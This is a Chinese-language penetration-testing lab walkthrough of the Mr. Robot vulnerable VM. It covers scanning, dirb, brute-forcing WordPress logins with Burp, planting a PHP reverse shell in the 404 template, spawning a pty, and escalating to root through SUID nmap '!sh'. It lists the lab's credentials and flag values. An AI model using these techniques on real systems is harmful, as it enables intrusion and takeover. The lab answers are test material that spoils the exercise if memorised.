渗透测试实验流程
信息收集
第 1步: 使用工具扫描主机的 IP 以及开放的端口
第 2步:使用工具扫描网站的目录
第 3步:从扫描到的文件入手做信息收集
漏洞扫描
第 4步:对网站进行漏洞扫描
第 5步: 网站有一个登录页,使用 burp 加载字典暴力破解
第 6步: 登录网站,寻找网站的漏洞
漏洞利用
第 7步:利用漏洞获得 webshell 权限
第 8步:使用 shell 登录主机,获取系统密码信息
提权
第 9步:提权
第 10步:找到第三个 KEY
渗透测试实验
MrRobot主机,一切未知,只知道是一台服务器
准备工作: 修改虚拟机网络为 NAT 模式,与 kali 在同一局域网络中
涉及的工具
netdiscover,nmap,dirb,nikto,nc
信息收集
第 1 步: 使用工具扫描主机的 IP 以及开放的端口
命令:netdiscover 或者 netdiscover -i eth0 -r192.168.150.0/24
-idevice:您的网络设备
-rrange:扫描给定范围而不是自动扫描。 192.168.6.0/24,/16,/8
发现目标机IP
Netdiscover 0.5.1 [主动/被动 ARP 侦察工具]
用法:netdiscover [-idevice] [-r range | -l 文件| -p] [-m file] [-F filter] [-s time] [-c count] [-n node] [-dfPLNS]
-idevice:您的网络设备
-rrange:扫描给定范围而不是自动扫描。 192.168.6.0/24,/16,/8
-lfile:扫描包含在给定文件中的范围列表
-p被动模式:不发送任何东西,只有嗅探
-mfile:扫描已知 MAC 和主机名列表
-Ffilter:自定义 pcap 过滤器表达式(默认值:“arp”)
-stime:每个 ARP 请求之间的休眠时间(毫秒)
-ccount:发送每个 ARP 请求的次数(对于丢包的网络)
-nnode:用于扫描的最后一个源 IP 八位字节(从 2 到 253)
-d忽略自动扫描和快速模式的主配置文件
-f启用快速模式扫描,节省大量时间,建议用于自动
-P打印的格式适合另一个程序解析,并在主动扫描后停止
-L类似于-P,但在主动扫描完成后继续侦听
-N不打印标题。仅在启用-P 或-L 时有效。
-S在每个请求之间启用睡眠时间抑制(硬核模式)
或使用命令:arp-scan -l
获取IP后获取端口:nmap -p- -sV -O 192.168.150.144
-p- 所有端口
-sV:探测开放端口以确定服务/版本信息
-O:启用OS 检测
nmap 7.70(https://nmap.org)
用法:nmap [扫描类型] [选项] {目标规范}
目标规格:
可以传递主机名,IP地址,网络等。
例如:scanme.nmap.org,microsoft.com/ 24,192.168.0.1; 10.0.0-255.1-254
-iL<inputfilename>:从主机/网络列表输入
-iR<num hosts>:选择随机目标
--exclude<host1 [,host2] [,host3],...>:排除主机/网络
--excludefile<exclude_file>:从文件中排除列表
主机发现:
-sL:列表扫描- 只列出要扫描的目标
-sn:Ping扫描 - 禁用端口扫描
-Pn:将所有主机视为在线- 跳过主机发现
-PS /PA / PU / PY [端口列表]:给定端口的 TCP SYN / ACK,UDP 或 SCTP 发现
-PE /PP / PM:ICMP 回送,时间戳和网络掩码请求发现探测
-PO[协议列表]:IP 协议 Ping
-n /-R:从不进行 DNS 解析/始终解析[默认:有时]
--dns-servers<serv1 [,serv2],...>:指定自定义 DNS 服务器
--system-dns:使用OS 的 DNS 解析器
--traceroute:每个主机的跟踪跳转路径
扫描技术:
-sS /sT / sA / sW / sM:TCP SYN / Connect()/ ACK / Window / Maimon 扫描
-sU:UDP扫描
-sN /sF / sX:TCP Null,FIN 和 Xmas 扫描
--scanflags<flags>:自定义 TCP 扫描标志
-sI<zombie host [:probeport]>:空闲扫描
-sY /sZ:SCTP INIT / COOKIE-ECHO 扫描
-sO:IP协议扫描
-b<FTP 中继主机>:FTP 反弹扫描
端口规格和扫描令:
-p<端口范围>:仅扫描指定的端口
例如:-p22;-p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9
--exclude-ports<端口范围>:从扫描中排除指定的端口
-F:快速模式- 扫描比默认扫描更少的端口
-r:连续扫描端口- 不要随机化
--top-ports<number>:扫描<number>最常见的端口
--port-ratio<ratio>:扫描端口比<ratio>更常见
服务/版本检测:
-sV:探测开放端口以确定服务/版本信息
--version-intensity<level>:从 0(亮)到 9(尝试所有探针)设置
--version-light:限制最可能的探针(强度2)
--version-all:尝试每一个探针(强度9)
--version-trace:显示详细的版本扫描活动(用于调试)
脚本扫描:
-sC:相当于--script= default
--script= <Lua scripts>:<Lua scripts>是逗号分隔的列表目录,脚本文件或脚本类别
--script-args= <n1 = v1,[n2 = v2,...]>:为脚本提供参数
--script-args-file= filename:在文件中提供 NSE 脚本 args
--script-trace:显示发送和接收的所有数据
--script-updatedb:更新脚本数据库。
--script-help= <Lua scripts>:显示有关脚本的帮助。
<Luascripts>是以逗号分隔的脚本文件列表或脚本的类别。
操作系统检测:
-O:启用OS 检测
--osscan-limit:将OS 检测限制为有希望的目标
--osscan-guess:更积极地猜测操作系统
时间和性能:
采用<time>的选项以秒为单位,或追加'ms'(毫秒),
该值的's'(秒),'m'(分钟)或'h'(小时)(例如30m)。
-T<0-5>:设置时序模板(越高越快)
--min-hostgroup/ max-hostgroup <size>:并行主机扫描组大小
--min-parallelism/ max-parallelism <numprobes>:探测并行化
--min-rtt-timeout/ max-rtt-timeout / initial-rtt-timeout <time>:指定探测往返时间。
--max-retries<tries>:端口扫描探测重传的上限数量。
--host-timeout<time>:在此之后放弃目标
--scan-delay/ - max-scan-delay <time>:调整探针之间的延迟
--min-rate<number>:发送数据包的速度不低于每秒<number>
--max-rate<number>:发送数据包的速度不超过<number>每秒
防火墙/ IDS 逃脱和防御:
-F;--mtu <val>:分段数据包(可选择 w /给定 MTU)
-D<decoy1,decoy2 [,ME],...>:用诱饵披露扫描
-S<IP_Address>:欺骗源地址
-e<iface>:使用指定的接口
-g /- source-port <portnum>:使用给定的端口号
--proxies<url1,[url2],...>:通过 HTTP / SOCKS4 代理的中继连接
--data<hex string>:为发送的数据包附加自定义有效负载
--data-string<string>:为发送的数据包附加自定义 ASCII 字符串
--data-length<num>:将随机数据附加到已发送的数据包
--ip-options<options>:发送带有指定 ip 选项的数据包
--ttl<val>:设置 IP 生存时间字段
--spoof-mac<mac address / prefix / vendor name>:欺骗你的 MAC 地址
--badsum:使用伪TCP / UDP / SCTP 校验和发送数据包
OUTPUT:
-oN /-oX / -oS / -oG <file>:正常输出扫描,XML,s | <rIpt kIddi3,
和Grepable 格式,分别为给定的文件名。
-oA<basename>:一次输出三种主要格式
-v:增加详细级别(使用-vv或更高级别以获得更好的效果)
-d:提高调试级别(使用-dd或更多以获得更好的效果)
--reason:显示端口处于特定状态的原因
--open:仅显示打开(或可能打开)的端口
--packet-trace:显示发送和接收的所有数据包
--iflist:打印主机接口和路由(用于调试)
--appe
访问该网站:http://192.168.150.144:80
第 2 步:使用工具扫描网站的目录
DIRB v2.22 由黑暗掠夺者
dirb<url_base> [<wordlist_file(s)>] [options]
=============注意=====================
<url_base>:要扫描的基本网址。(使用-resume 恢复会话)
<wordlist_file(s)>:wordfiles列表。 (wordfile1,wordfile2,wordfile3 ...)
========================HOTKEYS ========================
'n'- >转到下一个目录。
'q'- >停止扫描。 (保存状态为简历)
'r'- >剩余的扫描统计数据。
========================选项========================
-a<agent_string>:指定自定义 USER_AGENT。
-b:按原样使用路径。
-c<cookie_string>:为 HTTP 请求设置 cookie。
-E<certificate>:客户端证书的路径。
-f:NOT_FOUND(404)检测的精细调整。
-H<header_string>:向 HTTP 请求添加自定义标头。
-i:使用不区分大小写的搜索。
-l:找到时打印“位置”标题。
-N<nf_code>:忽略此 HTTP 代码的响应
-o<output_file>:将输出保存到磁盘。
-p<proxy [:port]>:使用此代理。 (默认端口为 1080)
-P<proxy_username:proxy_password>:代理验证。
-r:不要递归搜索。
-R:交互式递归。(询问每个目录)
-S:静音模式。不要显示经过测试的单词。(对于哑终端)
-t:不要在URL 上强制使用结尾'/'。
-u<用户名:密码>:HTTP 身份验证。
-v:还显示NOT_FOUND 页面。
-w:不要停止WARNING 消息。
-X<extensions> / -x <exts_file>:使用此扩展名附加每个单词。
-z<millisecs>:添加毫秒延迟以不会导致过多洪水。
==========示例==================
dirbhttp:// url / directory /(简单测试)
dirbhttp:// url / -X .html(带'.html'扩展名的测试文件)
dirbhttp:// url / /usr/share/dirb/wordlists/vulns/apache.txt(使用 apache.txt
wordlist测试)
dirbhttps:// secure_url /(使用 SSL 进行简单测试)
搜索到一个.txt文件:
第 3 步:从扫描到的文件入手做信息收集
访问:http://192.168.150.144/robots.txt
命令:curl http://192.168.150.144/robots.txt
可以发现一个字典文件和一个hash 值
访问:http://192.168.150.144/fsocity.dic 下载
命令:curl http://192.168.150.144/fsocity.dic | more
Hash值尝试爆破
命令:curl http://192.168.150.144/key -1-of-3.txt
发现没有找到,无法爆破
漏洞扫描
第 4 步:对网站进行漏洞扫描
命令:nikto -host 192.168.150.144
选项主机需要参数
-config+使用此配置文件
-显示+打开/关闭显示输出
-dbcheck检查数据库和其他密钥文件是否存在语法错误
-Format+保存文件(-o)格式
-帮助扩展帮助信息
-host+目标主机/ URL
-id+要使用的主机身份验证,格式为 id:pass 或 id:pass:realm
-list-plugins列出所有可用的插件
-output+将输出写入此文件
-nossl禁用 SSL
-no404禁用 404 检查
-Plugins+要运行的插件列表(默认值:ALL)
-port+使用端口(默认为 80)
-root+为所有请求预置根值,格式为/ directory
-ssl在端口上强制 ssl 模式
-调整+扫描调整
-timeout+请求超时(默认为 10 秒)
-update从 CIRT.net 更新数据库和插件
-VersionPrint 插件和数据库版本
-vhost+虚拟主机(用于主机头)
+需要一个值
第 5 步: 网站有一个登录页,使用 burp 加载字典暴力破解
访问:http://192.168.150.144/wp-login.php
先尝试手工破解,输入一些简单用户名和密码,看显示内容
可以发现是当用户名不对时会显示用户名不对,所以可以尝试暴力破解,字典用刚才网站上获取到的。
使用BurpSuite 抓包,转发攻击模块,选择加载字典文件,发起攻击。
可以发现用户名找到了Elliot
有了用户名再继续破解密码:ER28-0652
第 6 步: 登录网站,寻找网站的漏洞
有一个模板可以自定义
修改里面的内容进行测试
使用蚁剑,可以查看文件
使用命令:searchsploit wordpress 4.3.1 查看漏洞
漏洞利用
第 7 步:利用漏洞获得 webshell 权限
kali中有一个反射后门:locatewebshell
将后门copy到backdoor目录下:
查看该后门文件:mousepad php-reverse-shell.php, 修改IP为Kali
网站有一个 404 模板页,当访问无效网页时会直接访问这个页面,而这个页面可以修改,我们可以将其替换成一个网页木马从kali中的这个目录找到 php-reverse-shell.php
将其中的内容复制出来,放入到404 模板页中,修改里面的 IP,点击 update file
然后在kali 中监听一个对应的端口,等待触发反弹 shell
访问一个不存在的网页:http://192.168.131.190/403321321321反弹 shell
再执行 python -c 'import pty; pty.spawn("/bin/bash")' 获取一个稳定的 shell
第 8 步:使用 shell 登录主机,获取系统密码信息
查看密码文件
发现没法利用,再看看其他目录
找到一个密码的 md5 散列. c3fcd3d76192e4007dfb496cca67e13b
用户名:robot密码:abcdefghijklmnopqrstuvwxyz
查看文件,发现权限不够
切换账户,获得第二个flag: 822c73956184f694993bede3eb39f959
提权
第 9 步:提权
查找可以利用的SUID 权限程序,可以找到 nmap, 所以用 nmap 执行 root 权限
find/ -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find/ -user root -perm -4000 -exec ls -ldb {} \
使用nmap --interactive 命令进入 nmap,
然后使用!sh可以产生一个 root 权限的新shell,提权成功
使用!bash-p 也可以产生一个 root 的 shell,到此提权成功
第 10 步:找到第三个 KEY
查看 root 目录下的文件,可以找到第三个flag: 04787ddef27c3dee1ee161b21670b4e4
find 提权命令的解释
suid权限.............................................................................................................................1
查询suid程序命令............................................................................................................1
哪些SUID程序可以提权...................................................................................................2
suid 权限
1. suid 权限的作用
suid权限作用是让普通用户可以以 root(或其他)的用户角色运行只有 root(或其他)账
号才能运行的程序或命令,或程序命令对应本来没有权限操作的文件等。
2. 给程序添加 suid 权限
命令:chmod4777 program #给文件所有者添加 suid 权限,以及各种 RWX 权限
命令:chmodu+s program #给文件所有者添加 suid 权限
查看程序权限:ls-la d.txt
当 x位上没有 x 权限时,有 suid 权限时显示大 S
查询 suid 程序命令
find/ -perm -u=s -type f 2>/dev/null
① /代表从根目录开始查询
②-perm 表示权限
-perm4000 查询文件所有者含有 suid 权限的程序
-perm-u=s 查询文件所有者含有 suid 权限的程序
③-type 表示查询文件类型
-typef 表示查询的为文件
④2>/dev/null 表示重定向输出错误到/dev/null,即不显示错误信息
find/ -user root -perm -4000 -print 2>/dev/null
① /代表从根目录开始查询
②-user 表示要查询的文件所有人
-userroot 表示文件所有者为 root
③-perm 表示权限
-perm4000 查询文件所有者含有 suid 权限的程序
-permu+s 查询文件所有者含有 suid 权限的程序
④-print 表示将查找到的文件输出到标准输出
find/ -user root -perm -4000 -exec ls -ldb {} \;
① /代表从根目录开始查询
②-user 表示要查询的文件所有人
-userroot 表示文件所有者为 root
③-perm 表示权限
-perm4000 查询文件所有者含有 suid 权限的程序
-permu+s 查询文件所有者含有 suid 权限的程序
④-exec 命令{} \; 表示对查找到的文件执行某命令;
-exec表示开始执行动作 {} 表示用 find 命令查找出的所有文件
哪些 SUID 程序可以提权
可以查询程序看是否有suid 方式提权命令